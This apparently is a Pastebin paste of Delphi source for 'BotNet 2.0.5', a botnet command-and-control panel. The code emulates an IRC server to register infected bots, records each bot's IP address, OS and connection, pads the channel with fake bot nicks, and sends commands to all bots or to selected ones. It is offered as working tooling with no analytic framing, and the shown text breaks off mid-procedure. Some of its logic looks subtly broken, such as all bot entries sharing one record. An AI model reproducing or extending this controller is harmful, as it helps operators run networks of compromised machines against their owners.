Advertisement
FlyFar

Unit1.pas

Jun 7th, 2023
1,678
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Pascal 30.75 KB | Cybersecurity | 0 0
  1.    unit Unit1;
  2.  
  3.    interface
  4.  
  5.    uses
  6.      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  7.      Dialogs, StdCtrls, ComCtrls, ExtCtrls, jpeg, Menus, ScktComp, Winsock;
  8.  
  9.    type
  10.      TForm1 = class(TForm)
  11.        Panel1: TPanel;
  12.        ListView1: TListView;
  13.        Splitter1: TSplitter;
  14.        RadioButton1: TRadioButton;
  15.        RadioButton2: TRadioButton;
  16.        ComboBox1: TComboBox;
  17.        Edit4: TEdit;
  18.        Button3: TButton;
  19.        MainMenu1: TMainMenu;
  20.        FIle1: TMenuItem;
  21.        About1: TMenuItem;
  22.        BotNet1: TMenuItem;
  23.        BotPage1: TMenuItem;
  24.        Config1: TMenuItem;
  25.        N1: TMenuItem;
  26.        Client1: TMenuItem;
  27.        Server1: TMenuItem;
  28.        N2: TMenuItem;
  29.        Exit1: TMenuItem;
  30.        Start1: TMenuItem;
  31.        Stop1: TMenuItem;
  32.        Start2: TMenuItem;
  33.        Stop2: TMenuItem;
  34.        StatusBar1: TStatusBar;
  35.        Edit1: TEdit;
  36.        Edit2: TEdit;
  37.        Button2: TButton;
  38.        Label1: TLabel;
  39.        Timer1: TTimer;
  40.        Label3: TLabel;
  41.        Label4: TLabel;
  42.        PageControl1: TPageControl;
  43.        TabSheet1: TTabSheet;
  44.        TabSheet2: TTabSheet;
  45.        Memo1: TMemo;
  46.        Memo3: TMemo;
  47.        ServerSocket1: TServerSocket;
  48.        ClientSocket1: TClientSocket;
  49.        Timer2: TTimer;
  50.        Panel2: TPanel;
  51.        CheckBox1: TCheckBox;
  52.        bGate: TCheckBox;
  53.        Edit3: TEdit;
  54.        Label2: TLabel;
  55.        Memo2: TEdit;
  56.        procedure Timer1Timer(Sender: TObject);
  57.        procedure FormCreate(Sender: TObject);
  58.        procedure ListView1Resize(Sender: TObject);
  59.        procedure FormResize(Sender: TObject);
  60.        procedure Exit1Click(Sender: TObject);
  61.        procedure Button2Click(Sender: TObject);
  62.        procedure ClientSocket1Error(Sender: TObject; Socket: TCustomWinSocket;
  63.          ErrorEvent: TErrorEvent; var ErrorCode: Integer);
  64.        procedure ClientSocket1Connect(Sender: TObject;
  65.          Socket: TCustomWinSocket);
  66.        procedure ClientSocket1Connecting(Sender: TObject;
  67.          Socket: TCustomWinSocket);
  68.        procedure ClientSocket1Disconnect(Sender: TObject;
  69.          Socket: TCustomWinSocket);
  70.        procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
  71.        Procedure GetParams(CS: Integer; Data: String);
  72.        Procedure AddBot(IP: String; SockId: Integer; p1,p2,p3,p4: String);
  73.        Procedure SetNick(SockId: Integer; Nick: String);
  74.        Procedure SetConnection(SockId: Integer; Connection: String);
  75.        Procedure SetOS(SockId: Integer; OS: String);
  76.        procedure ListView1Click(Sender: TObject);
  77.        Procedure QuitBot(SockID: Integer);
  78.        procedure ServerSocket1ClientRead(Sender: TObject;
  79.          Socket: TCustomWinSocket);
  80.        procedure Start1Click(Sender: TObject);
  81.        procedure Stop1Click(Sender: TObject);
  82.        procedure Start2Click(Sender: TObject);
  83.        procedure Stop2Click(Sender: TObject);
  84.        procedure ServerSocket1ClientConnect(Sender: TObject;
  85.          Socket: TCustomWinSocket);
  86.        procedure ServerSocket1Listen(Sender: TObject;
  87.          Socket: TCustomWinSocket);
  88.        procedure ServerSocket1ClientError(Sender: TObject;
  89.          Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
  90.          var ErrorCode: Integer);
  91.        procedure Config1Click(Sender: TObject);
  92.        procedure Timer2Timer(Sender: TObject);
  93.        Procedure DoConnection(T: Integer; Var Data: String; Param1,Param2,Param3,Param4: String);
  94.        Procedure ReplaceStr(ReplaceWord, WithWord:String; Var Text: String);
  95.        Function GetUserNick(SockID: Integer): String;
  96.        procedure Button3Click(Sender: TObject);
  97.      private
  98.        { Private declarations }
  99.      public
  100.        { Public declarations }
  101.      end;
  102.  
  103.      TBotData = Record
  104.        NickName: String;
  105.        Ident: String;
  106.        IP: String;
  107.        Connection: String;
  108.        OS: String;
  109.        SockID: Integer;
  110.      End;
  111.      PBotData = ^TBotData;
  112.  
  113.    const
  114.      connection_begin: string =
  115.        ':%server_name% 001 %param1% :Welcome %param1%!%param2%@%param3%.'#10+
  116.        ':%param1%!%param2%@%param3% JOIN :%channel%'#10;
  117.      connection_low: string =
  118.        ':%server_name% 353 %param1% = %channel% :%param1% '#10;
  119.      connection_medium: string =
  120.        ':%server_name% 353 %param1% = %channel% :%param1% %randfakes% '#10;
  121.      connection_high: string =
  122.        ':%server_name% 353 %param1% = %channel% :%param1% %botnicks% '#10;
  123.      connection_end: string =
  124.        ':botnet!botnet@botnet TOPIC %channel% :%topic%'#10+
  125.        ':%server_name% 366 %param1% %channel% :End of /NAMES list'#10;
  126.  
  127.    var
  128.      BotData: TBotData;
  129.      Form1: TForm1;
  130.      timerCount: Integer;
  131.      tmpText : String;
  132.      cN,sN   : Integer;
  133.      clientP,
  134.      serverP : Array[0..5000] of String;
  135.  
  136.      server_name:  string;  {BotNet205}
  137.      server_chan:  string;  {#admin}
  138.      server_host:  string;  {botnet-host.com}
  139.      server_topic: string;  {BotNet 2.0.5 Service}
  140.  
  141.    implementation
  142.  
  143.    uses Unit2;
  144.  
  145.    {$R *.dfm}
  146.  
  147.    Function TForm1.GetUserNick(SockID: Integer): String;
  148.    Var
  149.      I: Integer;
  150.      P: Pointer;
  151.      Tmp:String;
  152.    Begin
  153.      For I := 0 To ListView1.Items.Count -1 Do
  154.      Begin
  155.        P := ListView1.Items[i].Data;
  156.        If (PBotData(P)^.SockID = SockID) Then
  157.          Tmp := PBotData(P)^.NickName + '!' +
  158.                 PBotData(P)^.Ident + '@' +
  159.                 PBotData(P)^.IP;
  160.      End;
  161.      Result := Tmp;
  162.    End;
  163.  
  164.    Procedure TForm1.DoConnection(T: Integer; Var Data: String; Param1,Param2,Param3,Param4: String);
  165.    Var
  166.      B: Integer;
  167.      C: Integer;
  168.      N: String;
  169.      M: String;
  170.  
  171.    Function randombots:String;
  172.    Var
  173.      I, J: Integer;
  174.      Tmp : String;
  175.      Bots: String;
  176.      Abc : String;
  177.    begin
  178.      Randomize;
  179.  
  180.      Abc := 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\`^~-_/[]}{';
  181.  
  182.      J := Random(30)+20;
  183.      I := Random(10)+5;
  184.  
  185.      Bots := '';
  186.  
  187.      While J > 0 Do
  188.      Begin
  189.        Tmp := '';
  190.        While Length(Tmp) < I Do
  191.          Tmp := Tmp + Abc[Random(Length(Abc))];
  192.        Bots := Bots + '@'+Tmp + ' ';
  193.        Dec(J);
  194.      End;
  195.  
  196.      Result := Bots;
  197.    End;
  198.  
  199.    Begin
  200.      // 450
  201.      Case T Of
  202.        0:Begin
  203.            Data := Connection_Low;
  204.            ReplaceStr('%server_name%', server_name, Data);
  205.            ReplaceStr('%param1%', Param1, Data);
  206.            ReplaceStr('%param2%', Param2, Data);
  207.            ReplaceStr('%param3%', Param3, Data);
  208.            ReplaceStr('%param4%', Param4, Data);
  209.            ReplaceStr('%channel%', server_chan, Data);
  210.          End;
  211.        1:Begin
  212.            Data := Connection_Medium;
  213.            ReplaceStr('%server_name%', server_name, Data);
  214.            ReplaceStr('%param1%', Param1, Data);
  215.            ReplaceStr('%param2%', Param2, Data);
  216.            ReplaceStr('%param3%', Param3, Data);
  217.            ReplaceStr('%param4%', Param4, Data);
  218.            ReplaceStr('%channel%', server_chan, Data);
  219.            ReplaceStr('%randfakes%', randombots, Data);
  220.          End;
  221.        2:Begin
  222.            N := '';
  223.            M := '';
  224.            C := 0;
  225.            For B := 0 To ListView1.Items.Count -1 Do
  226.            Begin
  227.              N := N + ListView1.Items[B].Caption + ' ';
  228.              If C = 240 Then
  229.              Begin
  230.                C := 0;
  231.                M := M + Connection_High;
  232.                ReplaceStr('%server_name%', server_name, M);
  233.                ReplaceStr('%param1%', Param1, M);
  234.                ReplaceStr('%param2%', Param2, M);
  235.                ReplaceStr('%param3%', Param3, M);
  236.                ReplaceStr('%param4%', Param4, M);
  237.                ReplaceStr('%channel%', server_chan, M);
  238.                ReplaceStr('%botnicks% ', N, M);
  239.                N := '';
  240.              End;
  241.              Inc(C);
  242.            End;
  243.            M := M + Connection_High;
  244.            ReplaceStr('%server_name%', server_name, M);
  245.            ReplaceStr('%param1%', Param1, M);
  246.            ReplaceStr('%param2%', Param2, M);
  247.            ReplaceStr('%param3%', Param3, M);
  248.            ReplaceStr('%param4%', Param4, M);
  249.            ReplaceStr('%channel%', server_chan, M);
  250.            ReplaceStr('%botnicks% ', N, M);
  251.            Data := M;
  252.          End;
  253.      End;
  254.    End;
  255.  
  256.    Procedure TForm1.ReplaceStr(ReplaceWord, WithWord:String; Var Text: String);
  257.    Var
  258.      xPos: Integer;
  259.    Begin
  260.      While Pos(ReplaceWord, Text)>0 Do
  261.      Begin
  262.        xPos := Pos(ReplaceWord, Text);
  263.        Delete(Text, xPos, length(ReplaceWord));
  264.        Insert(WithWord, Text, xPos);
  265.      End;
  266.    End;
  267.  
  268.    Procedure TForm1.QuitBot(SockID: Integer);
  269.    Var
  270.      I: Integer;
  271.      P: Pointer;
  272.    Begin
  273.      For I := 0 To ListView1.Items.Count -1 Do
  274.      Begin
  275.        P := ListView1.Items[i].Data;
  276.        If PBotData(P)^.SockID = SockId Then
  277.        Begin
  278.          Memo1.Lines.Add('** QUIT ('+PBotData(P)^.NickName+')');
  279.          ListView1.Items[i].Delete;
  280.          Break;
  281.        End;
  282.      End;
  283.    End;
  284.  
  285.    Procedure TForm1.SetOS(SockId: Integer; OS: String);
  286.    Var
  287.      I: Integer;
  288.      P: Pointer;
  289.    Begin
  290.      For I := 0 To ListView1.Items.Count -1 Do
  291.      Begin
  292.        P := ListView1.Items[i].Data;
  293.        If PBotData(P)^.SockID = SockId Then
  294.        Begin
  295.          PBotData(P)^.OS := OS;
  296.          Break;
  297.        End;
  298.      End;
  299.    End;
  300.  
  301.    Procedure TForm1.SetConnection(SockId: Integer; Connection: String);
  302.    Var
  303.      I: Integer;
  304.      P: Pointer;
  305.    Begin
  306.      For I := 0 To ListView1.Items.Count -1 Do
  307.      Begin
  308.        P := ListView1.Items[i].Data;
  309.        If PBotData(P)^.SockID = SockId Then
  310.        Begin
  311.          PBotData(P)^.Connection := Connection;
  312.          Break;
  313.        End;
  314.      End;
  315.    End;
  316.  
  317.    Procedure TForm1.SetNick(SockId: Integer; Nick: String);
  318.    Var
  319.      I: Integer;
  320.      P: Pointer;
  321.    Begin
  322.      For I := 0 To ListView1.Items.Count -1 Do
  323.      Begin
  324.        P := ListView1.Items[i].Data;
  325.        If PBotData(P)^.SockID = SockId Then
  326.        Begin
  327.          PBotData(P)^.NickName := Nick;
  328.          ListView1.Items[i].Caption := Nick;
  329.          Break;
  330.        End;
  331.      End;
  332.    End;
  333.  
  334.    Procedure TForm1.AddBot(IP: String; SockId: Integer; p1,p2,p3,p4: String);
  335.    Var
  336.      Item: TListItem;
  337.      P   : Pointer;
  338.      I   : Integer;
  339.    Begin
  340.      Item := ListView1.Items.Add;
  341.      Item.Caption := p1;
  342.      BotData.NickName := p1;
  343.      BotData.Ident := p2;
  344.      BotData.SockID := SockID;
  345.      BotData.IP := IP;
  346.      Item.SubItems.Add('');
  347.      Item.Data := @BotData;
  348.      Memo1.Lines.Add('** JOIN ('+p1+')');
  349.    End;
  350.  
  351.    Procedure TForm1.GetParams(CS: Integer; Data: String);
  352.    Var
  353.      Tmp: String;
  354.    Begin
  355.      Case CS Of
  356.        0: cN := 0;
  357.        1: sN := 0;
  358.      End;
  359.  
  360.      Case CS Of
  361.        0: ZeroMemory(@ClientP, SizeOf(ClientP));
  362.        1: ZeroMemory(@serverP, SizeOf(serverP));
  363.      End;
  364.  
  365.      Data := Trim(Data) + ' ';
  366.      While Pos(' ', Data) > 0 Do
  367.      Begin
  368.        Case CS Of
  369.          0: ClientP[cN] := Copy(Data, 1, Pos(' ', Data)-1);
  370.          1: serverP[sN] := Copy(Data, 1, Pos(' ', Data)-1);
  371.        End;
  372.        Data := Copy(Data, Pos(' ', Data)+1, Length(Data));
  373.        inc(cn);
  374.        inc(sn);
  375.      End;
  376.    End;
  377.  
  378.    procedure TForm1.Timer1Timer(Sender: TObject);
  379.    var
  380.      text:string;
  381.      i:integer;
  382.    begin
  383.      text := TMPTEXT;
  384.      If Text <> '' Then
  385.        Memo1.Text := Memo1.Text + Text[1]
  386.      Else
  387.        Timer1.Enabled := False;
  388.      inc(timerCount);
  389.      delete(tmpText,1,1);
  390.    end;
  391.  
  392.    procedure TForm1.FormCreate(Sender: TObject);
  393.    begin
  394.      tmpText := 'Thanks for using BotNet 2.0.5'#13#10'Please visit http://p0ke.no-ip.com';
  395.      timerCount := 0;
  396.      memo1.text := '';
  397.    end;
  398.  
  399.    procedure TForm1.ListView1Resize(Sender: TObject);
  400.    begin
  401.      ListView1.Column[0].Width := ListView1.Width - 60;
  402.      ListView1.Column[1].Width := 50;
  403.    end;
  404.  
  405.    procedure TForm1.FormResize(Sender: TObject);
  406.    begin
  407.      If Splitter1.Left > 50 Then
  408.      Begin
  409.        If Splitter1.Left > (Panel1.Width - 46) Then
  410.          PageControl1.Width := Panel1.Width - 40;
  411.      End;
  412.    end;
  413.  
  414.    procedure TForm1.Exit1Click(Sender: TObject);
  415.    begin
  416.      ExitProcess(0);
  417.    end;
  418.  
  419.    FUNCTION getip(HostName:STRING) : STRING;
  420.    LABEL Abort;
  421.    TYPE
  422.      TAPInAddr = ARRAY[0..100] OF PInAddr;
  423.      PAPInAddr =^TAPInAddr;
  424.    VAR
  425.      WSAData    : TWSAData;
  426.      HostEntPtr : PHostEnt;
  427.      pptr       : PAPInAddr;
  428.      I          : Integer;
  429.    BEGIN
  430.      Result:='';
  431.      WSAStartUp($101,WSAData);
  432.      TRY
  433.        HostEntPtr:=GetHostByName(PChar(HostName));
  434.        IF HostEntPtr=NIL THEN GOTO Abort;
  435.        pptr:=PAPInAddr(HostEntPtr^.h_addr_list);
  436.        I:=0;
  437.        WHILE pptr^[I]<>NIL DO BEGIN
  438.          IF HostName='' THEN BEGIN
  439.            IF(Pos('169',inet_ntoa(pptr^[I]^))<>1)AND(Pos('192',inet_ntoa(pptr^[I]^))<>1) THEN BEGIN
  440.              Result:=inet_ntoa(pptr^[I]^);
  441.              GOTO Abort;
  442.            END;
  443.          END ELSE
  444.          RESULT:=(inet_ntoa(pptr^[I]^));
  445.          Inc(I);
  446.        END;
  447.        Abort:
  448.      EXCEPT
  449.      END;
  450.      WSACleanUp();
  451.    END;
  452.  
  453.    procedure TForm1.Button2Click(Sender: TObject);
  454.    begin
  455.      If Button2.Caption = '&Connect' Then
  456.      Begin
  457.        ClientSocket1.Port := StrToInt(Edit2.Text);
  458.        ClientSocket1.Address := getip(Edit1.Text);
  459.        ClientSocket1.Active := True;
  460.        Button2.Caption := '&Disconnect';
  461.        Exit;
  462.      End;
  463.  
  464.      If Button2.Caption = '&Disconnect' Then
  465.      Begin
  466.        If ClientSocket1.Active Then
  467.        If MessageBox(0,'Are you sure you want to break your current'#13#10+
  468.                      'connection?', 'Warning!', mb_yesno) = id_no Then
  469.          Exit;
  470.        Button2.Caption := '&Connect';
  471.        ClientSocket1.Active := False;
  472.        ListView1.Items.Clear;
  473.        Exit;
  474.      End;
  475.    end;
  476.  
  477.    procedure TForm1.ClientSocket1Error(Sender: TObject;
  478.      Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
  479.      var ErrorCode: Integer);
  480.    begin
  481.      Label4.Caption := 'Client error #'+IntToStr(ErrorCode);
  482.      Memo1.Lines.Add('## Error: #'+IntToStr(Errorcode));
  483.      ErrorCode := 0;
  484.      If ClientSocket1.Active = False Then
  485.        Button2.Caption := '&Connect';
  486.    end;
  487.  
  488.    procedure TForm1.ClientSocket1Connect(Sender: TObject;
  489.      Socket: TCustomWinSocket);
  490.    begin
  491.      Memo1.Lines.Add('## Connected To '+edit1.text+':'+edit2.text);
  492.      Label4.Caption := 'Client connected';
  493.      If Not bGate.Checked Then
  494.      Begin
  495.        Memo1.Lines.Add('## Sending USER');
  496.        Socket.SendText('USER '+Edit3.Text+' '+Edit3.Text+'@'+Edit3.Text+' "win2k" :'+Edit3.Text+#10);
  497.        Memo1.Lines.Add('## Sending NICK');
  498.        Socket.SendText('NICK '+Edit3.Text+#10);
  499.      End;
  500.    end;
  501.  
  502.    procedure TForm1.ClientSocket1Connecting(Sender: TObject;
  503.      Socket: TCustomWinSocket);
  504.    begin
  505.      Memo1.Lines.Add('## Connecting To '+edit1.text+':'+edit2.text);
  506.      Label4.Caption := 'Client connecting';
  507.    end;
  508.  
  509.    procedure TForm1.ClientSocket1Disconnect(Sender: TObject;
  510.      Socket: TCustomWinSocket);
  511.    begin
  512.      Memo1.Lines.Add('## Disconnected From '+edit1.text+':'+edit2.text);
  513.      Button2.Caption := '&Connect';
  514.      Label4.Caption := 'Client disconnected';
  515.    end;
  516.  
  517.    procedure TForm1.ClientSocket1Read(Sender: TObject;
  518.      Socket: TCustomWinSocket);
  519.    var
  520.      data: String;
  521.      tmp : String;
  522.      Nick: String;
  523.      Msg : String;
  524.      IP  : String;
  525.      Sock: Integer;
  526.      I   : Integer;
  527.    begin
  528.      data := socket.ReceiveText;
  529.      Label4.caption := 'Received '+inttostr(length(data))+' bytes';
  530.  
  531.      While Data <> '' Do
  532.      Begin
  533.        Tmp := Copy(Data, 1, Pos(#10, Data)-1);
  534.        If Tmp[Length(Tmp)] = #13 Then Delete(Tmp, Length(Tmp), 1);
  535.  
  536.        Data := Copy(Data, Pos(#10, Data)+1, Length(Data));
  537.  
  538.        If Not bGate.Checked Then
  539.        Begin
  540.          GetParams(0, Tmp);
  541.  
  542.    {
  543.          353 p0key @ #swevx :p0key NexusC e1f madman threepio CriTiX
  544.    }
  545.  
  546.          If UpperCase(ClientP[1]) = '353' Then
  547.          Begin
  548.            Delete(Tmp, 1, 1);
  549.            Tmp := Copy(Tmp, Pos(':', Tmp)+1, Length(Tmp));
  550.            GetParams(0, Tmp);
  551.            For i := 0 To cN -1 Do Begin
  552.              Randomize;
  553.              AddBot('?.?.?.?', Random(99999), ClientP[I],ClientP[I]+'_',ClientP[I]+'|',ClientP[I]+'-');
  554.              Sleep(100);
  555.            End;
  556.          End;
  557.  
  558.          If pos('PING :', Tmp)> 0 Then
  559.          Begin
  560.            Memo1.Lines.Add('## Got Ping? Suck Pong!');
  561.            Msg := Copy(Tmp, Pos('PING :', Tmp), Length(Tmp));
  562.            Delete(Msg, 2, 1);
  563.            Insert('O', Msg, 2);
  564.            Socket.SendText(Msg+#10);
  565.          End;
  566.  
  567.          If Pos('MOTD', Tmp) > 0 Then
  568.          Begin
  569.            Memo1.Lines.Add('## Found MOTD: Time To Join Chan');
  570.            Socket.SendText('MODE '+Form2.Edit6.Text+#10);
  571.            Socket.SendText('JOIN '+Form2.Edit6.Text+#10);
  572.          End;
  573.  
  574.          If UpperCase(ClientP[1]) = 'PRIVMSG' Then
  575.          Begin
  576.            Nick := Copy(ClientP[0], 2, Pos('!', ClientP[0])-2);
  577.            Tmp := Copy(Tmp, Pos(ClientP[2], Tmp)+Length(ClientP[2])+2, Length(Tmp));
  578.            Memo1.Lines.Add(Nick+': '+Tmp);
  579.          End;
  580.  
  581.        End Else Begin
  582.          IP := Copy(Tmp, 1, Pos(' ', Tmp)-1);
  583.          Tmp := Copy(Tmp, pos(' ', Tmp)+1, Length(Tmp));
  584.          SOCK := StrToInt(Copy(Tmp, 1, Pos(' ', Tmp)-1));
  585.          Tmp := Copy(Tmp, pos(' ', Tmp)+1, Length(Tmp));
  586.  
  587.          getparams(0, tmp);
  588.  
  589.          If UpperCase(ClientP[0]) = 'QUIT' Then QuitBot(Sock);
  590.          If UpperCase(ClientP[0]) = 'NICK' Then SetNick(Sock, ClientP[1]);
  591.          If UpperCase(ClientP[0]) = 'USER' Then AddBot(IP, Sock, ClientP[1],
  592.                                                      ClientP[2], ClientP[3], ClientP[4]);
  593.          If UpperCase(ClientP[0]) = 'CONNECTION' Then SetConnection(Sock, ClientP[1]);
  594.          If UpperCase(ClientP[0]) = 'OSTYPE' Then SetOS(Sock, ClientP[1]);
  595.          If UpperCase(ClientP[1]) = 'PRIVMSG' Then
  596.          Begin
  597.            Nick := ClientP[0];
  598.            Nick := Copy(Nick, 1, Pos('!', Nick)-1);
  599.            Msg := Copy(Tmp, Pos(' :', Tmp)+2, Length(Tmp));
  600.            Memo1.Lines.Add(Nick+': '+Msg);
  601.          End;
  602.        End;
  603.  
  604.      End;
  605.  
  606.    end;
  607.  
  608.    procedure TForm1.ListView1Click(Sender: TObject);
  609.    Var
  610.      p: Pointer;
  611.      i: Integer;
  612.    begin
  613.      Memo3.Clear;
  614.      If ListView1.ItemIndex = -1 Then Exit;
  615.  
  616.      Memo3.Lines.Add('Looking up '+ListView1.ItemFocused.Caption+'...');
  617.      memo3.lines.add('');
  618.      memo3.lines.add('');
  619.  
  620.      P := ListView1.ItemFocused.Data;
  621.  
  622.      memo3.lines.add('Nickname: '+ PBotData(P)^.NickName);
  623.      memo3.lines.add('Ident: '+ PBotData(P)^.Ident);
  624.      memo3.lines.add('IP Address: '+ PBotData(P)^.IP);
  625.      memo3.lines.add('OS Type: '+ PBotData(P)^.OS);
  626.      memo3.lines.add('Connection: '+ PBotData(P)^.Connection);
  627.      memo3.lines.add('SocketID: '+ IntToStr(PBotData(P)^.SockID));
  628.      memo3.lines.add('');
  629.      memo3.lines.add('End of info.');
  630.    end;
  631.  
  632.    procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  633.      Socket: TCustomWinSocket);
  634.    var
  635.      data: String;
  636.      tmp : String;
  637.      Nick: String;
  638.      Msg : String;
  639.      IP  : String;
  640.      Sock: Integer;
  641.    begin
  642.      data := socket.ReceiveText;
  643.      Label4.caption := 'Received '+inttostr(length(data))+' bytes';
  644.  
  645.      While Data <> '' Do
  646.      Begin
  647.        Tmp := Copy(Data, 1, Pos(#10, Data)-1);
  648.        If Tmp[Length(Tmp)] = #13 Then Delete(Tmp, Length(Tmp), 1);
  649.  
  650.        Data := Copy(Data, Pos(#10, Data)+1, Length(Data));
  651.  
  652.        IP := Socket.RemoteAddress;
  653.        SOCK := Socket.SocketHandle;
  654.  
  655.        getparams(1, tmp);
  656.  
  657.        If UpperCase(ServerP[0]) = 'QUIT' Then QuitBot(Sock);
  658.        If UpperCase(ServerP[0]) = 'NICK' Then SetNick(Sock, ServerP[1]);
  659.        If UpperCase(ServerP[0]) = 'USER' Then
  660.        Begin
  661.          tmp := connection_begin;
  662.          replacestr('%server_name%', server_name, tmp);
  663.          replacestr('%param1%', ServerP[1], tmp);
  664.          replacestr('%param2%', ServerP[2], tmp);
  665.          replacestr('%param3%', ServerP[3], tmp);
  666.          replacestr('%param4%', ServerP[4], tmp);
  667.          replacestr('%channel%', server_chan, tmp);
  668.          ReplaceStr('"', '', Tmp);
  669.          Socket.SendText(tmp);
  670.          with form2 do
  671.          begin
  672.            case radiogroup1.ItemIndex of
  673.              0:DoConnection(0, Tmp, ServerP[1], ServerP[2], ServerP[3], ServerP[4]);
  674.              1:DoConnection(1, Tmp, ServerP[1], ServerP[2], ServerP[3], ServerP[4]);
  675.              2:DoConnection(2, Tmp, ServerP[1], ServerP[2], ServerP[3], ServerP[4]);
  676.            end;
  677.          end;
  678.          Socket.SendText(Tmp);
  679.          Tmp := connection_end;
  680.          ReplaceStr('%server_name%', server_name, Tmp);
  681.          ReplaceStr('%param1%', ServerP[1], Tmp);
  682.          ReplaceStr('%channel%', server_chan, Tmp);
  683.          ReplaceStr('%topic%', server_topic, Tmp);
  684.          Socket.SendText(Tmp);
  685.          If Form2.CheckBox3.Checked Then
  686.            AddBot(Form2.Edit4.Text, Sock, ServerP[1], ServerP[2], ServerP[3], ServerP[4])
  687.          Else
  688.            AddBot(IP, Sock, ServerP[1], ServerP[2], ServerP[3], ServerP[4]);
  689.        End;
  690.        If UpperCase(ServerP[0]) = 'CONNECTION' Then SetConnection(Sock, ServerP[1]);
  691.        If UpperCase(ServerP[0]) = 'OSTYPE' Then SetOS(Sock, ServerP[1]);
  692.        If UpperCase(ServerP[0]) = 'PRIVMSG' Then
  693.        Begin
  694.          Tmp := GetUserNick(Socket.SocketHandle) + Tmp;
  695.          getparams(1, tmp);
  696.          Nick := ServerP[0];
  697.          Nick := Copy(Nick, 1, Pos('!', Nick)-1);
  698.          Msg := Copy(Tmp, Pos(' :', Tmp)+2, Length(Tmp));
  699.          Memo1.Lines.Add(Nick+': '+Msg);
  700.        End;
  701.  
  702.      End;
  703.    end;
  704.  
  705.    procedure TForm1.Start1Click(Sender: TObject);
  706.    begin
  707.      if button2.caption = '&Connect' Then Button2.click;
  708.    end;
  709.  
  710.    procedure TForm1.Stop1Click(Sender: TObject);
  711.    begin
  712.      if button2.caption = '&Disconnect' Then Button2.click;
  713.    end;
  714.  
  715.    procedure TForm1.Start2Click(Sender: TObject);
  716.    begin
  717.      If ServerSocket1.Active Then Exit;
  718.      If ClientSocket1.Active Then
  719.        If MessageBox(0,'Are you sure you want to break your current connection?', 'Warning', mb_yesno) = ID_NO Then Exit;
  720.      Button2.Enabled := False;
  721.      ServerSocket1.Active := True;
  722.    end;
  723.  
  724.    procedure TForm1.Stop2Click(Sender: TObject);
  725.    begin
  726.      If Not ServerSocket1.Active Then Exit;
  727.      Button2.Enabled := True;
  728.      ServerSocket1.Active := False;
  729.    end;
  730.  
  731.    procedure TForm1.ServerSocket1ClientConnect(Sender: TObject;
  732.      Socket: TCustomWinSocket);
  733.    begin
  734.      Label4.Caption := 'Server accepted connection';
  735.      Memo1.Lines.Add('## '+Socket.LocalAddress +' Connected');
  736.    end;
  737.  
  738.    procedure TForm1.ServerSocket1Listen(Sender: TObject;
  739.      Socket: TCustomWinSocket);
  740.    begin
  741.      Label4.Caption := 'Server online';
  742.      Memo1.Lines.Add('## Server online');
  743.    end;
  744.  
  745.    procedure TForm1.ServerSocket1ClientError(Sender: TObject;
  746.      Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
  747.      var ErrorCode: Integer);
  748.    begin
  749.      Label4.Caption := 'Server error #'+IntToStr(ErrorCode);
  750.      Memo1.Lines.Add('## Server error #'+IntToStr(ErrorCode));
  751.      ErrorCode:=0;
  752.    end;
  753.  
  754.    procedure TForm1.Config1Click(Sender: TObject);
  755.    begin
  756.      Form2.Show;
  757.    end;
  758.  
  759.    procedure TForm1.Timer2Timer(Sender: TObject);
  760.    begin
  761.      Timer2.Enabled := False;
  762.      form2.loadsettings('default.bn5');
  763.      With Form2 Do
  764.      Begin
  765.        server_name := Edit3.Text;
  766.        server_host := Edit4.Text;
  767.        server_topic:= Edit5.Text;
  768.        server_chan := Edit6.Text;
  769.      End;
  770.    end;
  771.  
  772.    procedure TForm1.Button3Click(Sender: TObject);
  773.    var
  774.      I: Integer;
  775.      J: Integer;
  776.      P: Pointer;
  777.    begin
  778.      If RadioButton1.Checked Then
  779.      Begin
  780.        If Form2.CheckBox1.Checked Then
  781.          Memo1.Lines.Add(Copy(Form2.Edit2.Text,1,pos('!',Form2.Edit2.Text)-1)+': '+Memo2.Text)
  782.        Else
  783.          Memo1.Lines.Add('You: '+Memo2.Text);
  784.        If CheckBox1.Checked Then
  785.        Begin
  786.          If ServerSocket1.Active Then
  787.            For I := 0 To ServerSocket1.Socket.ActiveConnections -1 Do
  788.              ServerSocket1.Socket.Connections[i].SendText(memo2.Text+#10);
  789.          If ClientSocket1.Active Then
  790.            ClientSocket1.Socket.SendText(memo2.text+#10);
  791.        End Else
  792.        Begin
  793.          If ServerSocket1.Active Then
  794.            For I := 0 To ServerSocket1.Socket.ActiveConnections -1 Do
  795.              If Form2.CheckBox1.Checked Then
  796.                ServerSocket1.Socket.Connections[i].SendText(
  797.                ':'+Form2.Edit2.Text + ' PRIVMSG '+Form2.Edit6.Text+' :'+memo2.Text+#10)
  798.              Else
  799.                ServerSocket1.Socket.Connections[i].SendText(
  800.                ':admin!admin@127.0.0.1 PRIVMSG '+Form2.Edit6.Text+' :'+memo2.Text+#10);
  801.          If ClientSocket1.Active Then
  802.            If Form2.CheckBox1.Checked Then
  803.              ClientSocket1.Socket.SendText('PRIVMSG '+Form2.Edit6.Text+' :'+memo2.Text+#10)
  804.            Else
  805.              ClientSocket1.Socket.SendText('PRIVMSG '+Form2.Edit6.Text+' :'+memo2.Text+#10);
  806.        End;
  807.      End Else
  808.      Begin
  809.        Case ComboBox1.ItemIndex Of
  810.          0:Begin
  811.              // Selected Bots Only.
  812.              For I := 0 To ListView1.Items.Count -1 Do
  813.              Begin
  814.                If ListView1.Items[i].Selected Then
  815.                  If ServerSocket1.Active Then
  816.                  Begin
  817.                    P := ListView1.Items[i].Data;
  818.                    For J := 0 To ServerSocket1.Socket.ActiveConnections -1 Do
  819.                    Begin
  820.                      If ServerSocket1.Socket.Connections[i].SocketHandle = PBotData(P)^.SockID Then
  821.                        If Form2.CheckBox1.Checked Then
  822.                          ServerSocket1.Socket.Connections[i].SendText(':'+Form2.Edit2.Text + ' PRIVMSG '+PBotData(P)^.NickName+' :'+memo2.Text+#10)
  823.                        Else
  824.                          ServerSocket1.Socket.Connections[i].SendText(':admin!admin@127.0.0.1 PRIVMSG '+PBotData(P)^.NickName+' :'+memo2.Text+#10);
  825.                    End;
  826.                  End;
